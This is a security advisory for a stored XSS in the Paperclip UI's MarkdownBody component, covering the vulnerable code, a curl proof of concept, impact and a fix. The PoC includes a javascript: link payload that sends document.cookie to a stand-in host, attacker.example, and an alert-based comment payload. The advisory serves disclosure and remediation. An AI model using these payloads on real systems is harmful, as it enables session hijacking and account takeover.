GHSA-FPW4-P57J-HQMQ
Vulnerability from github – Published: 2026-04-16 22:49 – Updated: 2026-04-16 22:49Summary
MarkdownBody, the shared component used to render every Markdown surface in the Paperclip UI (issue documents, issue comments, chat threads, approvals, agent details, export previews, etc.), passes urlTransform={(url) => url} to react-markdown. That override replaces react-markdown's built-in defaultUrlTransform — the library's only defense against javascript:/vbscript:/data: URL injection — with a no-op, and the custom a component then renders the unsanitized href directly. Any authenticated company member can plant [text](javascript:...) in an issue document or comment; when another member clicks the link, the script executes in the Paperclip origin with full access to the victim's session, enabling cross-user account takeover inside a tenant.
Details
1. Sink: MarkdownBody overrides url sanitization
ui/src/components/MarkdownBody.tsx:107-135 (custom anchor renderer) and ui/src/components/MarkdownBody.tsx:162 (Markdown element):
a: ({ href, children: linkChildren }) => {
const parsed = href ? parseMentionChipHref(href) : null;
if (parsed) { /* mention chip path, rewrites href */ }
return (
<a href={href} rel="noreferrer">
{linkChildren}
</a>
);
},
// ...
<Markdown remarkPlugins={[remarkGfm]} components={components} urlTransform={(url) => url}>
{children}
</Markdown>
react-markdown v10 ships defaultUrlTransform (see react-markdown source) which strips any URL whose scheme matches /^(javascript|vbscript|file|data(?!:image\/(?:gif|jpeg|jpg|png|webp)))/i. Passing urlTransform={(url) => url} replaces that defense with an identity function, so unsafe hrefs flow directly into the custom a renderer. React 19 only emits a dev-mode warning for javascript: hrefs — in production builds it renders them verbatim, and clicking the link executes the script in the current origin.
2. Source: unsanitized markdown bodies
server/src/routes/issues.ts:815-862 accepts issue document bodies:
router.put("/issues/:id/documents/:key", validate(upsertIssueDocumentSchema), async (req, res) => {
// ...
assertCompanyAccess(req, issue.companyId);
// ...
const result = await documentsSvc.upsertIssueDocument({
issueId: issue.id,
key: keyParsed.data,
title: req.body.title ?? null,
format: req.body.format,
body: req.body.body, // ← stored verbatim
// ...
});
packages/shared/src/validators/issue.ts:196-202:
export const upsertIssueDocumentSchema = z.object({
title: z.string().trim().max(200).nullable().optional(),
format: issueDocumentFormatSchema, // enum: ["markdown"]
body: z.string().max(524288), // no content validation
// ...
});
Only the format enum and a 512 KiB length cap are enforced; the body is persisted as-is. Comment bodies follow the same pattern — svc.addComment (server/src/routes/issues.ts:1639) stores a z.string().min(1) body (line 166 of the validator).
3. Rendering path
ui/src/components/IssueDocumentsSection.tsx:71-72:
function renderBody(body: string, className?: string) {
return <MarkdownBody className={className}>{body}</MarkdownBody>;
}
ui/src/components/CommentThread.tsx:372:
<MarkdownBody className="text-sm">{comment.body}</MarkdownBody>
The same sink is reused by IssueChatThread, ApprovalDetail, AgentDetail, CompanySkills, CompanyImport/CompanyExport, and RunTranscriptView. Every Markdown surface in the product inherits the vulnerability.
4. Authorization does not block cross-user reach
server/src/routes/authz.ts:18-31 (assertCompanyAccess) accepts any authenticated user whose companyIds includes the target companyId. There is no role check — a low-privilege company member can plant a payload against admins and owners who view the issue.
5. No compensating CSP
A repository-wide grep for Content-Security-Policy finds only two matches, both scoped to sandboxed export/preview responses (server/src/routes/assets.ts:328 and server/src/routes/issues.ts:2572). The main application HTML is served without any CSP, so the browser will happily navigate a javascript: href on click.
PoC
Prerequisites: two accounts in the same company (attacker and victim), an existing issue <ISSUE_ID>, the backend reachable on http://localhost:3000.
Step 1 — Attacker plants a malicious issue document:
curl -X PUT 'http://localhost:3000/api/issues/<ISSUE_ID>/documents/plan' \
-H 'Cookie: <attacker-session-cookie>' \
-H 'Content-Type: application/json' \
-d '{
"format": "markdown",
"body": "# Plan\n\n[Click for details](javascript:fetch(\"https://attacker.example/steal?c=\"+encodeURIComponent(document.cookie)))"
}'
Expected (verified): 201 Created with the persisted document JSON. upsertIssueDocumentSchema accepts the body because it is a valid markdown string under 524288 bytes.
Step 2 — Victim opens the issue:
The victim navigates to the issue in the browser. IssueDocumentsSection calls renderBody(doc.body) → <MarkdownBody>, which emits the DOM:
<a href="javascript:fetch("https://attacker.example/steal?c="+encodeURIComponent(document.cookie))" rel="noreferrer">Click for details</a>
Step 3 — Victim clicks the link:
The browser executes the javascript: URL in the Paperclip origin. The attacker's listener receives the victim's session cookie. From there the attacker can replay the cookie against any endpoint guarded by assertCompanyAccess to act as the victim — posting comments, transitioning issues, invoking approvals, reading agent keys the victim can read, etc.
Alternate vector — comments (same sink):
curl -X POST 'http://localhost:3000/api/issues/<ISSUE_ID>/comments' \
-H 'Cookie: <attacker-session-cookie>' \
-H 'Content-Type: application/json' \
-d '{"body":"[pwn](javascript:alert(document.cookie))"}'
CommentThread.tsx:372 renders comment.body through the same MarkdownBody sink, producing the same stored XSS without needing document-edit privileges.
Impact
- Cross-user stored XSS inside the tenant. A low-privilege company member can plant a payload that runs in any other member's session — including admins/owners — on click.
- Session hijack. The script executes on the Paperclip origin with access to
document.cookieand every in-browser API credential; a victim click immediately exfiltrates the session to an attacker-controlled host. - Privilege escalation. Because every
assertCompanyAccessroute accepts a valid session, a captured admin cookie grants full company admin on the API surface (agent keys, approvals, document edits, settings). - Tenant-wide blast radius. The same
MarkdownBodysink is used by issue documents, issue comments, issue chat, approvals, agent detail, company import/export, and run transcripts, so almost every user-visible text surface in the product is vulnerable. - Persistent. The payload lives in the document or comment record until explicitly deleted.
Recommended Fix
The minimum fix is to remove the urlTransform override in ui/src/components/MarkdownBody.tsx:162 and rely on react-markdown's defaultUrlTransform:
// ui/src/components/MarkdownBody.tsx
import Markdown, { defaultUrlTransform, type Components } from "react-markdown";
// ...
// Preserve mention-chip (paperclip-mention://) hrefs so parseMentionChipHref still runs,
// but fall back to the library's scheme allow-list for everything else.
function safeUrlTransform(url: string): string {
if (url.startsWith("paperclip-mention://")) return url;
return defaultUrlTransform(url);
}
<Markdown
remarkPlugins={[remarkGfm]}
components={components}
urlTransform={safeUrlTransform}
>
{children}
</Markdown>
defaultUrlTransform strips javascript:, vbscript:, file:, and non-image data: URIs, which closes this finding for every call site of MarkdownBody.
Defense-in-depth recommendations:
- Add a strict Content-Security-Policy header to the main app response (e.g.
script-src 'self' 'nonce-...') so that even a future regression cannot execute inline JS viajavascript:navigation. - Server-side validate document and comment bodies for obviously unsafe markdown patterns (e.g. reject
](javascript:sequences) as belt-and-braces. Do not rely on client-side sanitization alone, since other clients (mobile, exports) may render the same content. - Audit every existing component for other
urlTransform/skipHtml/rehype-rawoverrides that might reintroduce the same bypass.
{
"affected": [
{
"package": {
"ecosystem": "npm",
"name": "@paperclipai/ui"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "2026.416.0"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [],
"database_specific": {
"cwe_ids": [
"CWE-79"
],
"github_reviewed": true,
"github_reviewed_at": "2026-04-16T22:49:13Z",
"nvd_published_at": null,
"severity": "MODERATE"
},
"details": "## Summary\n\n`MarkdownBody`, the shared component used to render every Markdown surface in the Paperclip UI (issue documents, issue comments, chat threads, approvals, agent details, export previews, etc.), passes `urlTransform={(url) =\u003e url}` to `react-markdown`. That override replaces `react-markdown`\u0027s built-in `defaultUrlTransform` \u2014 the library\u0027s only defense against `javascript:`/`vbscript:`/`data:` URL injection \u2014 with a no-op, and the custom `a` component then renders the unsanitized href directly. Any authenticated company member can plant `[text](javascript:...)` in an issue document or comment; when another member clicks the link, the script executes in the Paperclip origin with full access to the victim\u0027s session, enabling cross-user account takeover inside a tenant.\n\n## Details\n\n### 1. Sink: MarkdownBody overrides url sanitization\n\n`ui/src/components/MarkdownBody.tsx:107-135` (custom anchor renderer) and `ui/src/components/MarkdownBody.tsx:162` (Markdown element):\n\n```tsx\na: ({ href, children: linkChildren }) =\u003e {\n const parsed = href ? parseMentionChipHref(href) : null;\n if (parsed) { /* mention chip path, rewrites href */ }\n return (\n \u003ca href={href} rel=\"noreferrer\"\u003e\n {linkChildren}\n \u003c/a\u003e\n );\n},\n// ...\n\u003cMarkdown remarkPlugins={[remarkGfm]} components={components} urlTransform={(url) =\u003e url}\u003e\n {children}\n\u003c/Markdown\u003e\n```\n\n`react-markdown` v10 ships `defaultUrlTransform` (see `react-markdown` source) which strips any URL whose scheme matches `/^(javascript|vbscript|file|data(?!:image\\/(?:gif|jpeg|jpg|png|webp)))/i`. Passing `urlTransform={(url) =\u003e url}` replaces that defense with an identity function, so unsafe hrefs flow directly into the custom `a` renderer. React 19 only emits a dev-mode warning for `javascript:` hrefs \u2014 in production builds it renders them verbatim, and clicking the link executes the script in the current origin.\n\n### 2. Source: unsanitized markdown bodies\n\n`server/src/routes/issues.ts:815-862` accepts issue document bodies:\n\n```ts\nrouter.put(\"/issues/:id/documents/:key\", validate(upsertIssueDocumentSchema), async (req, res) =\u003e {\n // ...\n assertCompanyAccess(req, issue.companyId);\n // ...\n const result = await documentsSvc.upsertIssueDocument({\n issueId: issue.id,\n key: keyParsed.data,\n title: req.body.title ?? null,\n format: req.body.format,\n body: req.body.body, // \u2190 stored verbatim\n // ...\n });\n```\n\n`packages/shared/src/validators/issue.ts:196-202`:\n\n```ts\nexport const upsertIssueDocumentSchema = z.object({\n title: z.string().trim().max(200).nullable().optional(),\n format: issueDocumentFormatSchema, // enum: [\"markdown\"]\n body: z.string().max(524288), // no content validation\n // ...\n});\n```\n\nOnly the `format` enum and a 512 KiB length cap are enforced; the body is persisted as-is. Comment bodies follow the same pattern \u2014 `svc.addComment` (`server/src/routes/issues.ts:1639`) stores a `z.string().min(1)` body (line 166 of the validator).\n\n### 3. Rendering path\n\n`ui/src/components/IssueDocumentsSection.tsx:71-72`:\n\n```tsx\nfunction renderBody(body: string, className?: string) {\n return \u003cMarkdownBody className={className}\u003e{body}\u003c/MarkdownBody\u003e;\n}\n```\n\n`ui/src/components/CommentThread.tsx:372`:\n\n```tsx\n\u003cMarkdownBody className=\"text-sm\"\u003e{comment.body}\u003c/MarkdownBody\u003e\n```\n\nThe same sink is reused by `IssueChatThread`, `ApprovalDetail`, `AgentDetail`, `CompanySkills`, `CompanyImport`/`CompanyExport`, and `RunTranscriptView`. Every Markdown surface in the product inherits the vulnerability.\n\n### 4. Authorization does not block cross-user reach\n\n`server/src/routes/authz.ts:18-31` (`assertCompanyAccess`) accepts any authenticated user whose `companyIds` includes the target `companyId`. There is no role check \u2014 a low-privilege company member can plant a payload against admins and owners who view the issue.\n\n### 5. No compensating CSP\n\nA repository-wide grep for `Content-Security-Policy` finds only two matches, both scoped to sandboxed export/preview responses (`server/src/routes/assets.ts:328` and `server/src/routes/issues.ts:2572`). The main application HTML is served without any CSP, so the browser will happily navigate a `javascript:` href on click.\n\n## PoC\n\nPrerequisites: two accounts in the same company (`attacker` and `victim`), an existing issue `\u003cISSUE_ID\u003e`, the backend reachable on `http://localhost:3000`.\n\n**Step 1 \u2014 Attacker plants a malicious issue document:**\n\n```bash\ncurl -X PUT \u0027http://localhost:3000/api/issues/\u003cISSUE_ID\u003e/documents/plan\u0027 \\\n -H \u0027Cookie: \u003cattacker-session-cookie\u003e\u0027 \\\n -H \u0027Content-Type: application/json\u0027 \\\n -d \u0027{\n \"format\": \"markdown\",\n \"body\": \"# Plan\\n\\n[Click for details](javascript:fetch(\\\"https://attacker.example/steal?c=\\\"+encodeURIComponent(document.cookie)))\"\n }\u0027\n```\n\nExpected (verified): `201 Created` with the persisted document JSON. `upsertIssueDocumentSchema` accepts the body because it is a valid markdown string under 524288 bytes.\n\n**Step 2 \u2014 Victim opens the issue:**\n\nThe victim navigates to the issue in the browser. `IssueDocumentsSection` calls `renderBody(doc.body)` \u2192 `\u003cMarkdownBody\u003e`, which emits the DOM:\n\n```html\n\u003ca href=\"javascript:fetch(\u0026quot;https://attacker.example/steal?c=\u0026quot;+encodeURIComponent(document.cookie))\" rel=\"noreferrer\"\u003eClick for details\u003c/a\u003e\n```\n\n**Step 3 \u2014 Victim clicks the link:**\n\nThe browser executes the `javascript:` URL in the Paperclip origin. The attacker\u0027s listener receives the victim\u0027s session cookie. From there the attacker can replay the cookie against any endpoint guarded by `assertCompanyAccess` to act as the victim \u2014 posting comments, transitioning issues, invoking approvals, reading agent keys the victim can read, etc.\n\n**Alternate vector \u2014 comments (same sink):**\n\n```bash\ncurl -X POST \u0027http://localhost:3000/api/issues/\u003cISSUE_ID\u003e/comments\u0027 \\\n -H \u0027Cookie: \u003cattacker-session-cookie\u003e\u0027 \\\n -H \u0027Content-Type: application/json\u0027 \\\n -d \u0027{\"body\":\"[pwn](javascript:alert(document.cookie))\"}\u0027\n```\n\n`CommentThread.tsx:372` renders `comment.body` through the same `MarkdownBody` sink, producing the same stored XSS without needing document-edit privileges.\n\n## Impact\n\n- **Cross-user stored XSS inside the tenant.** A low-privilege company member can plant a payload that runs in any other member\u0027s session \u2014 including admins/owners \u2014 on click.\n- **Session hijack.** The script executes on the Paperclip origin with access to `document.cookie` and every in-browser API credential; a victim click immediately exfiltrates the session to an attacker-controlled host.\n- **Privilege escalation.** Because every `assertCompanyAccess` route accepts a valid session, a captured admin cookie grants full company admin on the API surface (agent keys, approvals, document edits, settings).\n- **Tenant-wide blast radius.** The same `MarkdownBody` sink is used by issue documents, issue comments, issue chat, approvals, agent detail, company import/export, and run transcripts, so almost every user-visible text surface in the product is vulnerable.\n- **Persistent.** The payload lives in the document or comment record until explicitly deleted.\n\n## Recommended Fix\n\nThe minimum fix is to remove the `urlTransform` override in `ui/src/components/MarkdownBody.tsx:162` and rely on `react-markdown`\u0027s `defaultUrlTransform`:\n\n```tsx\n// ui/src/components/MarkdownBody.tsx\nimport Markdown, { defaultUrlTransform, type Components } from \"react-markdown\";\n\n// ...\n\n// Preserve mention-chip (paperclip-mention://) hrefs so parseMentionChipHref still runs,\n// but fall back to the library\u0027s scheme allow-list for everything else.\nfunction safeUrlTransform(url: string): string {\n if (url.startsWith(\"paperclip-mention://\")) return url;\n return defaultUrlTransform(url);\n}\n\n\u003cMarkdown\n remarkPlugins={[remarkGfm]}\n components={components}\n urlTransform={safeUrlTransform}\n\u003e\n {children}\n\u003c/Markdown\u003e\n```\n\n`defaultUrlTransform` strips `javascript:`, `vbscript:`, `file:`, and non-image `data:` URIs, which closes this finding for every call site of `MarkdownBody`.\n\nDefense-in-depth recommendations:\n\n1. Add a strict Content-Security-Policy header to the main app response (e.g. `script-src \u0027self\u0027 \u0027nonce-...\u0027`) so that even a future regression cannot execute inline JS via `javascript:` navigation.\n2. Server-side validate document and comment bodies for obviously unsafe markdown patterns (e.g. reject `](javascript:` sequences) as belt-and-braces. Do not rely on client-side sanitization alone, since other clients (mobile, exports) may render the same content.\n3. Audit every existing component for other `urlTransform`/`skipHtml`/`rehype-raw` overrides that might reintroduce the same bypass.",
"id": "GHSA-fpw4-p57j-hqmq",
"modified": "2026-04-16T22:49:13Z",
"published": "2026-04-16T22:49:13Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/paperclipai/paperclip/security/advisories/GHSA-fpw4-p57j-hqmq"
},
{
"type": "PACKAGE",
"url": "https://github.com/paperclipai/paperclip"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:L/I:L/A:N",
"type": "CVSS_V3"
}
],
"summary": "Paperclip: Stored XSS via javascript: URLs in MarkdownBody \u2014 urlTransform override disables react-markdown sanitization"
}
Sightings
| Author | Source | Type | Date |
|---|
Nomenclature
- Seen: The vulnerability was mentioned, discussed, or observed by the user.
- Confirmed: The vulnerability has been validated from an analyst's perspective.
- Published Proof of Concept: A public proof of concept is available for this vulnerability.
- Exploited: The vulnerability was observed as exploited by the user who reported the sighting.
- Patched: The vulnerability was observed as successfully patched by the user who reported the sighting.
- Not exploited: The vulnerability was not observed as exploited by the user who reported the sighting.
- Not confirmed: The user expressed doubt about the validity of the vulnerability.
- Not patched: The vulnerability was not observed as successfully patched by the user who reported the sighting.